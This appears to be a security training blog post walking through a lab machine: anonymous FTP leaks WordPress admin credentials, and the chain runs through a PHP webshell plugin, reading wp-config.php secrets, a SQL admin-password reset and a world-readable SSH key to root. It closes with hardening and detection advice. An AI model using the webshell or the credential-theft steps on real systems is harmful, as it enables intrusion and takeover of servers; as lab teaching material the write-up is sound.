Initializing

Back to blog
CPPJ

July 29, 2026

Imprenta: From Anonymous FTP to Root, Without a Single Exploit

Gerardo Eliasib

Gerardo Eliasib

CEO of Spartan-Cybersecurity

Imprenta: From Anonymous FTP to Root, Without a Single Exploit

This machine has no vulnerability.

There's no CVE to cite, no unpatched version, no buffer overflow. If you go looking for the exploit that takes it down, you won't find one, because it doesn't exist.

And it still falls all the way to root, in a five-step chain where every link is a decision somebody made on purpose.

This is Imprenta, one of the easy-tier tasks in the CPPJ, and probably the machine that best represents how companies actually get compromised. Not by a genius with a 0-day: by a backup uploaded to the wrong place. Everything that follows happens inside an authorized lab, on infrastructure we built for exactly this.

Three ports, two that matter

The scan is one of the dullest you'll ever see, and that itself is information:

bash
nmap -sV -v 10.10.10.103
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.56 (Debian)

Three services. The first thing you do with that output is sort them by whether they need credentials or not.

22 is out immediately: SSH won't let you in without a key or a password you don't have yet, and brute-forcing a modern OpenSSH is throwing away an afternoon. That leaves two unauthenticated surfaces: 21 and 80.

That's where you start. Always.

The site that renders broken (and why)

First, a detail that frustrates half the class and is worth understanding instead of suffering.

Apache is serving a virtual host with its own ServerName: blog.imprenta. WordPress, for its part, stores its URL in the database and uses it in absolute links for everything — CSS, images, redirects. If you browse by IP, the site redirects you to a name your machine can't resolve, and you get a broken page that looks like a lab failure.

It isn't. You just have to tell your Kali where that name lives:

bash
# /etc/hosts
10.10.10.103  blog.imprenta
bash
curl -s http://blog.imprenta/wordpress/ | grep -oiE '<title>[^<]*</title>'
# <title>Imprenta</title>

It's a configuration detail, not a hacking one. But it shows up in real engagements every week, and whoever doesn't understand it assumes the target "doesn't work" and moves on.

WordPress tells you who's in charge

Port 80 deserves its own enumeration before you ever touch the FTP. Start with the stack fingerprint:

bash
whatweb -a1 http://blog.imprenta/wordpress/
Apache[2.4.56]  MetaGenerator[WordPress 7.0.2]  Title[Imprenta]  WordPress[7.0.2]

WordPress. And WordPress has a habit worth knowing: it leaks author names through several channels at once. Here there are three, and all three converge on the same user:

bash
# (a) The REST API returns the author JSON, unauthenticated
curl -s "http://blog.imprenta/wordpress/?rest_route=/wp/v2/users"
# [{"id":1,"name":"j.author","slug":"j-author", ...}]

# (b) Classic enumeration: ?author=<id> redirects and reveals the login in the slug
curl -sI "http://blog.imprenta/wordpress/?author=1" | grep -i ^location
# Location: http://blog.imprenta/wordpress/index.php/author/j-author/

# (c) wpscan, the canonical tool for this
wpscan --url http://blog.imprenta/wordpress/ --enumerate u --no-update

Look at id:1. In any WordPress install, user ID 1 is the first administrator created. That's not a convention: that's how the installer works. So that public JSON isn't handing you "a blog user" — it's handing you the name of the admin account.

You already have half a credential and you haven't touched the FTP yet.

A note on method: running all three isn't redundancy. On a real target, a security plugin may have locked down the REST API but not ?author= enumeration, or the other way around. A checklist with one box breaks on the first target; a technique with three paths doesn't.

The other half was sitting in an anonymous FTP

vsftpd accepts anonymous login. Inside, an upload/ directory somebody used as a junk drawer:

addition.sh
backup.json
cpu.sh
creds.txt
passwd.bk
shadow.bk

This is where judgment shows, because there are two paths and only one is right.

Almost everyone's instinct is to pounce on passwd.bk and shadow.bk. They're copies of the Linux user database, they smell like jackpot, and you already know the recipe: unshadow, hashcat, wait. It's a long road, expensive in time, with an uncertain ending.

creds.txt weighs 27 bytes:

j.author
[the WordPress administrator's password]

Panel username and password, in plaintext.

Part of the craft isn't knowing six tools. It's looking at six files and knowing which one matters.

Those passwd/shadow backups are a perfectly built decoy: they look like the prize, they cost hours, and they lead nowhere the file right next to them doesn't hand you in a second.

The WordPress admin panel is code execution

With those credentials you log into wp-admin as administrator. And here's something a lot of people haven't internalized:

In WordPress, being an administrator and having code execution on the server are, in practice, the same thing.

That's not a WordPress security flaw. It's its operating model: an administrator can install plugins, and a plugin is simply PHP code the server is going to execute. The legitimate feature is the vector.

A minimal plugin acting as a webshell fits in three lines:

php
<?php
/* Plugin Name: spartan */
if (isset($_GET['cmd'])) { echo "<pre>"; system($_GET['cmd']); echo "</pre>"; }

Zip it, upload it from Plugins → Add New → Upload Plugin, and it lands in the docroot:

bash
curl -s "http://blog.imprenta/wordpress/wp-content/plugins/spartan/spartan.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

You have RCE. But look at who you are.

www-data isn't the finish line: it's the starting line

www-data is the web server's user. It isn't root, it doesn't own the data, and it can barely do anything. A beginner celebrates the webshell and stops there. A pentester treats it as what it is: a position from which to enumerate.

First question, always, is sudo:

?cmd=sudo -n -l    ->   sudo: a password is required

Dead end. And that's useful: you just ruled out an entire path and narrowed the search. If you can't escalate through granted permissions, you escalate through a reusable secret someone left readable.

Start with the mandatory read after any WordPress RCE:

bash
?cmd=grep -E 'DB_NAME|DB_USER|DB_PASSWORD' /var/www/html/wordpress/wp-config.php
define( 'DB_NAME', 'wordpressdb' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', '[the database password]' );

MySQL credentials in cleartext, because wp-config.php cannot store them any other way: PHP needs to read them as text to connect. With those you get into the database and pull the user table:

sql
SELECT ID, user_login, user_pass, user_email FROM wp_users;
1  j.author  $wp$2y$10$oSfyzydx4IRE...

That $wp$2y$10$ prefix is bcrypt — WordPress moved to bcrypt in 6.8, leaving behind the old phpass $P$. Practical translation: cracking it is slow and expensive, and probably not worth it.

Except you don't need to. With write access to the database you don't discover the password — you replace it. WordPress still accepts the legacy MD5 format and re-hashes it on first login:

sql
-- The canonical database-side takeover technique.
-- Do NOT run this on a shared lab: it breaks access for every other student.
UPDATE wp_users SET user_pass = MD5('newpass') WHERE user_login = 'j.author';

Keep that one. It's what turns "I have the database" into "I have the site" when you arrive through a SQL injection with no credentials at all.

The key that was sitting at 777

You're still www-data. The database didn't get you the jump, so it's time to enumerate the filesystem for exactly what sudo -l told you to look for: a reusable secret.

bash
?cmd=ls -la /home/admin/backup/
# -rwxrwxrwx 1 admin admin 1679 Mar 22  2023 id_rsa

?cmd=find / -name id_rsa 2>/dev/null
# /home/admin/backup/id_rsa

A private SSH key at mode 777. Readable by any process on the box, web server included.

That file didn't get there by accident, and that's the whole point: somebody backed up their key, copied it to a convenient folder, and gave it wide permissions so it "wouldn't cause problems." Three convenience decisions, each defensible at the time.

bash
ssh -i id_rsa admin@10.10.10.103
admin@imprenta:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)

You're no longer the web server: you're a system user. And that user is in the sudo group. The mandatory question, again:

admin@imprenta:~$ sudo -l
User admin may run the following commands on imprenta:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
admin@imprenta:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

root.

Imprenta live: the full CPPJ session, from initial enumeration to root (Spanish audio)

Nobody "hacked" this machine

Walk the chain backwards and count the vulnerabilities. There are none.

  • Anonymous FTP is a feature, deliberately enabled.
  • The WordPress REST API listing authors is default, documented behavior.
  • Uploading plugins from the panel is the entire point of the panel.
  • Cleartext credentials in wp-config.php are mandatory for PHP to reach MySQL.
  • sudo NOPASSWD: ALL is a valid configuration somebody typed by hand.

Five links, five individually reasonable operational decisions. Not one is a bug. Together they take you from "I have nothing" to root.

The attacker doesn't break the machine. They walk through decisions that were already made.

That's why pentest reports that only list CVEs are worth half what they should be. Most real compromises look far more like Imprenta than like a kernel exploit: a secret stored where it shouldn't be, reused in the wrong place.

The other side: breaking the chain

The good news about a chain is that any link breaks it. There are five chances to stop this one, and the earlier ones are the cheapest:

  • Anonymous FTP shouldn't expose anything. If you need anonymous upload, make the directory non-readable; and no backup — of credentials, of /etc/shadow, of anything — belongs on a surface that serves unauthenticated connections. This single control leaves the whole chain with no starting point.
  • Cut off user enumeration. Restrict /wp-json/wp/v2/users to authenticated requests and block the ?author= redirect. It isn't a strong defense on its own — the username will leak some other way eventually — but it removes the free half of the attacker's work.
  • Disable plugin installation in production. define('DISALLOW_FILE_MODS', true); in wp-config.php kills the editor and plugin/theme uploads. If your deployment flow is a pipeline rather than the dashboard, you lose nothing — and you close the conversion from "admin session" into "code execution".
  • Private keys live at `600`, with a passphrase. Never in a directory the web server can read, never in a backup inside the docroot. And if a key sits at 777 even briefly, the correct response is to rotate it, not to fix the permissions.
  • `NOPASSWD: ALL` turns any access into instant root. Grant specific commands, not ALL, and require a password unless there's a documented operational reason. That last link is what turns an annoying compromise into a total one.

On detection there's one near-definitive signal: a new file appearing in `wp-content/plugins/`. No production site grows plugins on its own. File integrity monitoring on that directory catches step 3 of the chain, while the attacker is still www-data and hasn't read a single key.

What Imprenta teaches you

Cetro teaches you to read a machine. Imprenta teaches you to read an organization: how secrets get stored, where backups get dropped, what permissions get set when somebody's in a hurry.

That kind of reading isn't learned by memorizing tools. It's learned by walking complete chains, from the first anonymous connection to uid=0, and understanding which decision enabled each step.

In part two we use Imprenta for what really makes it matter in the lab: it's the pivot into a network segment your Kali cannot see. We'll build the tunnel with sshuttle and take apart why, through a tunnel, your nmap lies to you.